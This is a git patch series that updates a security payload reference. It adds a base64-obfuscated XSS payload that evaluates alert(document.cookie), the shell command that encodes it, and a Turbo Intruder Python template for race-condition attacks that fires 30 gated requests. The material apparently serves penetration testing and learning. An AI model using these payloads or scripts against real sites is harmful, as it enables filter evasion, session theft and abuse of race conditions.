From 6c7df7dc4eaf0aacba98d6ad913a41610281fd0c Mon Sep 17 00:00:00 2001
From: idealphase <mynameisphase@gmail.com>
Date: Wed, 10 Nov 2021 22:38:02 +0700
Subject: [PATCH 1/4] Update README.md

Add Bypass dot filter
---
 XSS Injection/README.md | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/XSS Injection/README.md b/XSS Injection/README.md
index f17abf3..3c4a24e 100644
--- a/XSS Injection/README.md	
+++ b/XSS Injection/README.md	
@@ -663,6 +663,12 @@ You can bypass a single quote with &#39; in an on mousedown event handler
 Convert IP address into decimal format: IE. `http://192.168.1.1` == `http://3232235777`
 http://www.geektools.com/cgi-bin/ipconv.cgi
 
+```javascript
+<script>eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="))<script>
+```
+
+Base64 encoding your XSS payload with linux command: echo -n "alert(document.cookie)" | base64
+
 ### Bypass parenthesis for string
 
 ```javascript

From e9eac5ca5936bc207b8094de33969e78dd184fd5 Mon Sep 17 00:00:00 2001
From: idealphase <mynameisphase@gmail.com>
Date: Wed, 10 Nov 2021 22:40:40 +0700
Subject: [PATCH 2/4] Update README.md

---
 XSS Injection/README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/XSS Injection/README.md b/XSS Injection/README.md
index 3c4a24e..c5c0ffe 100644
--- a/XSS Injection/README.md	
+++ b/XSS Injection/README.md	
@@ -667,7 +667,7 @@ http://www.geektools.com/cgi-bin/ipconv.cgi
 <script>eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="))<script>
 ```
 
-Base64 encoding your XSS payload with linux command: echo -n "alert(document.cookie)" | base64
+Base64 encoding your XSS payload with Linux command: IE. `echo -n "alert(document.cookie)" | base64` == `YWxlcnQoZG9jdW1lbnQuY29va2llKQ==`
 
 ### Bypass parenthesis for string
 

From 6738f878f39107f15e0c5220bb5ddc765843fd75 Mon Sep 17 00:00:00 2001
From: idealphase <mynameisphase@gmail.com>
Date: Tue, 19 Apr 2022 10:45:32 +0700
Subject: [PATCH 3/4] Updated README.md

Added References: Bypassing Signature-Based XSS Filters: Modifying Script Code
---
 XSS Injection/README.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/XSS Injection/README.md b/XSS Injection/README.md
index 9d68654..8309a2d 100644
--- a/XSS Injection/README.md	
+++ b/XSS Injection/README.md	
@@ -1255,3 +1255,4 @@ anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxld
 - [mXSS Attacks: Attacking well-secured Web-Applications by using innerHTML Mutations - Mario Heiderich, Jörg Schwenk, Tilman Frosch, Jonas Magazinius, Edward Z. Yang](https://cure53.de/fp170.pdf)
 - [Self Closing Script](https://twitter.com/PortSwiggerRes/status/1257962800418349056)
 - [Bypass < with ＜](https://hackerone.com/reports/639684)
+- [Bypassing Signature-Based XSS Filters: Modifying Script Code](https://portswigger.net/support/bypassing-signature-based-xss-filters-modifying-script-code)

From 9f9fbe4fe56347b2a9f4f84e850fbd612f841db2 Mon Sep 17 00:00:00 2001
From: idealphase <mynameisphase@gmail.com>
Date: Tue, 19 Apr 2022 11:06:34 +0700
Subject: [PATCH 4/4] Updated Race Condition README.md

Added Turbo Intruder 2 Requests Examples use when the window may only be a few milliseconds.
---
 Race Condition/README.md | 33 ++++++++++++++++++++++++++++++++-
 1 file changed, 32 insertions(+), 1 deletion(-)

diff --git a/Race Condition/README.md b/Race Condition/README.md
index 2e70df8..1986c47 100644
--- a/Race Condition/README.md	
+++ b/Race Condition/README.md	
@@ -41,9 +41,40 @@
 3. Now set the external HTTP header x-request: %s - :warning: This is needed by the turbo intruder
 4. Click "Attack"
 
+## Turbo Intruder 2 Requests Examples
+This follwoing template can use when use have to send race condition of request2 immediately after send a request1 when the window may only be a few milliseconds.
+```python
+def queueRequests(target, wordlists): 
+    engine = RequestEngine(endpoint=target.endpoint, 
+                           concurrentConnections=30, 
+                           requestsPerConnection=100, 
+                           pipeline=False 
+                           ) 
+    request1 = '''
+POST /target-URI-1 HTTP/1.1
+Host: <REDACTED>
+Cookie: session=<REDACTED>
+
+parameterName=parameterValue
+    ''' 
+
+    request2 = '''
+GET /target-URI-2 HTTP/1.1
+Host: <REDACTED>
+Cookie: session=<REDACTED>
+    '''
+
+    engine.queue(request1, gate='race1')
+    for i in range(30): 
+        engine.queue(request2, gate='race1') 
+    engine.openGate('race1') 
+    engine.complete(timeout=60) 
+def handleResponse(req, interesting): 
+    table.add(req)
+```
 
 ## References
 
 * [Race Condition allows to redeem multiple times gift cards which leads to free "money" - @muon4](https://hackerone.com/reports/759247)
 * [Turbo Intruder: Embracing the billion-request attack - James Kettle | 25 January 2019](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)
-* [Race Condition Bug In Web App: A Use Case - Mandeep Jadon](https://medium.com/@ciph3r7r0ll/race-condition-bug-in-web-app-a-use-case-21fd4df71f0e)
\ No newline at end of file
+* [Race Condition Bug In Web App: A Use Case - Mandeep Jadon](https://medium.com/@ciph3r7r0ll/race-condition-bug-in-web-app-a-use-case-21fd4df71f0e)